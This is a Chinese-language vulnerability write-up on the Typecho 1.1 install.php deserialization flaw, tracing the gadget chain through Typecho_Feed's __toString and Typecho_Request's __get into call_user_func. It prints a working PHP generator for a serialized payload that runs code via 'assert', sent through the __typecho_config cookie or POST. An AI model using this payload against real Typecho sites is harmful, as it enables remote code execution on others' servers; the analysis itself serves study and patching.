Typecho

Typecho是一款快速建博客的程序,外观简洁,应用广泛。这次的漏洞通过install.php安装程序页面的反序列化函数,造成了命令执行,Typecho 1.1(15.5.12)之前的版本都有受到不同的影响。

从install.php开始,在229行开始存在unserialize反序列化的地方。

<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

想要执行到这个反序列化的操作我们必须要满足以下条件:

1、$_GET['finish'] 参数不为空

2、Referer 必须是本站

分别如下: 其实注释内容已经跟我们说了,具体就不用在分析了。

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
} $parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
} if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

条件二:<?php if (isset($_GET['finish'])) : ?> 在这里要能够接收到finish参数,这样才能进入到我们序列化的地方。

在最上端的代码当中__typecho_config是我们可控的,他是cookie的键名,230行将cookie中这个键名的值通过base64解码之后反序列化。

继续两段:

$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);

因为整个$config的变量我们都能够控制,所以adapter,prefix这两个变量我们也能够控制。

跟进Typecho_Db()方法:(他在Db.php下)

 public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName; /** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
} $this->_prefix = $prefix; /** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array(); //实例化适配器对象
$this->_adapter = new $adapterName();
}

$adapterName='Typecho_Db_Adapter'.$adapterName

$config['adapter']作为第一个参数传入到Typecho_Db()中并且做了字符串拼接,可能上我们是能够调用__toString这个魔术方法的,就是当我们把$adapterName设置为有__tostring魔术方法的类的时候,那么这个tostring方法就被触发了。

ps:__toString():用于一个类被当成字符串时应怎样回应。。

接着查看哪些类使用了__toString()方法:

Config.php

Feed.php

Db/Query.php

我们想要能够产生输出传递给我们,Feed.php存在,可利用的点:

$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

__get()这个方法在读取不可访问的数据时触发,如果$item['author']有不能访问的属性,那么就会被触发,因为实际执行中这里会获取该类的screenName属性,如果我们给$item['author']设置的类中只要设置为那个类中没有的属性,随便吧编一个就会执行该类的__get()方法 ,目前到此处,我们是在__tostring这个板块下的,而此时我们是在Feed.php下的Typecho_Feed类当中。

我们找到了get魔术方法,他是在request.php当中的,Typecho_Request

public function __get($key)
{
return $this->get($key);
}

继续跟进,因为他是调用了get这个函数在这个魔术方法当中:

public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
} $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

再次跟进:

private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
} $this->_filter = array();
} return $value;
}

可以看见array_map()和call_user_func()两个回调函数,这说明了_params[$key]的值传入_applyFilter()方法,代码此时是可执行的,能偶产生输出了。

生成脚本,这是网上找的:

<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items; public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
} class Typecho_Request
{
private $_params = array();
private $_filter = array(); public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
} $exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
); echo base64_encode(serialize($exp));

因为Typecho_Cookie的get方法获取__typecho_config可以是cookie方式,也可以使post方式,所以我们的payload直接为post发送也可以。

参考链接:https://www.freebuf.com/vuls/152058.html

魔术方法不一定有用,但没有魔术方法一定没用,我们唯一的突破点就在于魔术方法,看看程序员是怎么编写这段魔术代码的,然后找寻突破点,删除install是个好习惯哦。

哦。

Typecho反序列化漏洞的更多相关文章

  1. Typecho 反序列化漏洞 分析及复现

    0x00 漏洞简介 CVE-2018-18753 漏洞概述: typecho 是一款非常简洁快速博客 CMS,前台 install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任 ...

  2. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  3. PHP审计之PHP反序列化漏洞

    PHP审计之PHP反序列化漏洞 前言 一直不懂,PHP反序列化感觉上比Java的反序列化难上不少.但归根结底还是serialize和unserialize中的一些问题. 在此不做多的介绍. 魔术方法 ...

  4. 反序列化漏洞问题研究之php篇

    php的反序列化反序列化漏洞又称php对象注入(php Object Injection)产生的问题主要分以下两类: 将传来的序列化数据直接unserilize,造成魔幻函数的执行.这种情况在一般的应 ...

  5. Weblogic反序列化漏洞补丁更新解决方案

    Weblogic反序列化漏洞的解决方案基于网上给的方案有两种: 第一种方案如下 使用SerialKiller替换进行序列化操作的ObjectInputStream类; 在不影响业务的情况下,临时删除掉 ...

  6. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  7. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  8. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  9. 小白审计JACKSON反序列化漏洞

    1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...

随机推荐

  1. iptables初步接触

    0.iptables命令选项输入顺序:iptables -t 表名 <-A/I/D/R> 规则链名 [规则号] <-i/o 网卡名> -p 协议名 <-s 源IP/源子网 ...

  2. Java树形结构中根据父类节点查找全部子类节点

    上一篇文章介绍了两种树形结构数据整合json格式的方法,第一种方法中有根据父类获取全部子类的方法,这里单独拿出来再说一下. 仍然是利用递归来整合,代码如下: //根据父节点获取全部子节点 public ...

  3. 使用dd命令快速生成大文件或者小文件

    使用dd命令快速生成大文件或者小文件 需求场景: 在程序的测试中有些场景需要大量的小文件或者几个比较大的文件,而在我们的文件系统里一时无法找到那么多或者那么大的文件,此时linux的dd命令就能快速的 ...

  4. Lombok 作者因兼容问题讨伐 IntelliJ IDEA(官方已妥协)

    今天(08/26),你看到本文应该是昨天了. 栈长上班打开电脑,按往常一样打开 IntelliJ IDEA 正准备撸码,突然收到 IDEA 2020.2.1 的更新提醒: 我现在用的还是 2020.1 ...

  5. Java面试题(容器篇)

    容器 18.java 容器都有哪些? 如图:   首先分为Collection.Map: Collection下分为List.Set和Queue: List下分为ArrayList和LinkedLis ...

  6. @RequestBody和@RequestParam

    @RequestBody的使用 https://blog.csdn.net/justry_deng/article/details/80972817 (@RequestBody Map map)接收多 ...

  7. 设计模式C++模板(Template)模式

    设计模式C++描述----02.模板(Template)模式(转载) 一. 问题 在面向对象系统的分析与设计过程中经常会遇到这样一种情况:对于某一个业务逻辑(算法实现)在不同的对象中有不同的细节实现, ...

  8. 软件人如何快速晋升CTO(一)

    1.场景描述 ​ 软件人如何快速晋升CTO? 实战操作,介绍下如何0成本拥有自己的软件公司,出任CTO/CEO. ​ 2020年 8月16日,软件老王拿到公司的营业执照和公章了,税务登记也一起办理好了 ...

  9. Unity中接收服务器消息并广播事件的实现

    最近接触的项目,是一个棋牌游戏,棋牌游戏需要在前端进行一些操作,然后向服务器发送数据包,在服务器接收到客户端的数据后,会在服务端进行一系列的判断之后,然后发送给客户端一个返回数据,客户端接收到这个返回 ...

  10. python小白入门基础(三:整型)

    # Number(int float str complex) #int 整型(正整数 0 负整数)intvar_1 = 100print(intvar_1)invar_2 = 0 print(inv ...